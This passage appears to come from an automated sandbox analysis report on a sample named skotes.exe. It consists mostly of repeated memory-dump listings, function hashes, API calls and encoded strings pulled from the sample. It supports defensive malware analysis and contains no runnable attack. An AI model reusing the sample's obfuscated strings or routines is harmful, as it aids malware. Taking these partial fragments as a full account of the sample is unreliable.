Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 788857502569266e4e34f30d7cc33a4648aa9b30001faad5ddf1828443daff9b
Instruction ID: ccbbca7c78ab97efd50f4524d85e100dac163a3ca18e9bb6e7c3463646cb7574
Opcode Fuzzy Hash: 788857502569266e4e34f30d7cc33a4648aa9b30001faad5ddf1828443daff9b
Instruction Fuzzy Hash: 4A213271A00219AFDF00EFA4DC859FEB7BAEF08724F145059F501B7251DB349D819BA5

Function 0063F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0063F3A3

Strings

`'f, xrefs: 0063F375
8"f, xrefs: 0063F44B

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"f$`'f
API String ID: 3903695350-1130731482
Opcode ID: 644070977ac575a2815b7defa0f494eb272241ec5831c70935fd535126d1ed3d
Instruction ID: cc1a5b750d20d97ef243a7873d12a16a00952ca4722cdd354e364fb38f4b8b3b
Opcode Fuzzy Hash: 644070977ac575a2815b7defa0f494eb272241ec5831c70935fd535126d1ed3d
Instruction Fuzzy Hash: B4316D32A00601DFEB61AB79D845B9B77EAEF00351F10442EF085D7696DF71AC80DB95

Analysis Process: skotes.exePID: 6840, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	833
Total number of Limit Nodes:	49

Executed Functions

Function 0060E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#, xrefs: 00610624
MQ==, xrefs: 0060E592
111, xrefs: 0060F7A0
246122658369, xrefs: 0060F737, 0060FA14, 006105E7, 0061099A
9c9aa5, xrefs: 0060FB8E
L1f, xrefs: 0060F7E5
WTw=, xrefs: 0061097D
UA==, xrefs: 0060EB0F, 0060ED56
GnNoc2Hc, xrefs: 0060E56C
WTs=, xrefs: 006105CA
WDw=, xrefs: 0060F71D, 0060F9FA
MGE+, xrefs: 0060E821

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1f$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2850511205
Opcode ID: 2fd502c728b806eed6f8982a3630c25e7ae5bd618220615b4fa35de85fc696cc
Instruction ID: b55ae2bdfb8bf1bda746c33d24a76f3e72e26dbe2a3bd4b8c2f1a6643aeded37
Opcode Fuzzy Hash: 2fd502c728b806eed6f8982a3630c25e7ae5bd618220615b4fa35de85fc696cc
Instruction Fuzzy Hash: 5282C170A042889BEF18DF68C9497DE7FB7AF46304F548588E805673C2C7B55A88CBD6

Function 00642517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00656758), ref: 0064275C

Strings

Xge, xrefs: 00642705, 0064270B
Eastern Standard Time, xrefs: 006427CB
Eastern Summer Time, xrefs: 006427FA

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xge
API String ID: 565725191-3925688217
Opcode ID: a9862358f69fc45657a86131b709180ae28c67a895b23ec2bf404c0e3d9b37f5
Instruction ID: 88f017188bb7fa28df39e214b7555074e0311871e88e49505f99c65746d94b5f
Opcode Fuzzy Hash: a9862358f69fc45657a86131b709180ae28c67a895b23ec2bf404c0e3d9b37f5
Instruction Fuzzy Hash: E5C11471A00206AFDB249F68DC61AEE7BABEF55350FB4005DF98197391EB308E45CB94

Function 0060EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0060EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0060EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0060ED98

Strings

FCQgKF==, xrefs: 0060FEE4
246122658369, xrefs: 0060F737, 0060FA14, 0060FE00, 006105E7
L1f, xrefs: 0060F7E5
stoi argument out of range, xrefs: 006108C4
mxo1L0x, xrefs: 0060EE84
WDw=, xrefs: 0060F71D, 0060F9FA, 0060FDE3
#, xrefs: 00610624
GiQaT29tduF=, xrefs: 0060FEB6
111, xrefs: 0060F7A0
9c9aa5, xrefs: 0060FB8E
UA==, xrefs: 0060EC41, 0060ED56, 0060EF89, 0060F2CE
FisgLnsCZO1i, xrefs: 0060FF19
invalid stoi argument, xrefs: 006108B0
WTs=, xrefs: 006105CA

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
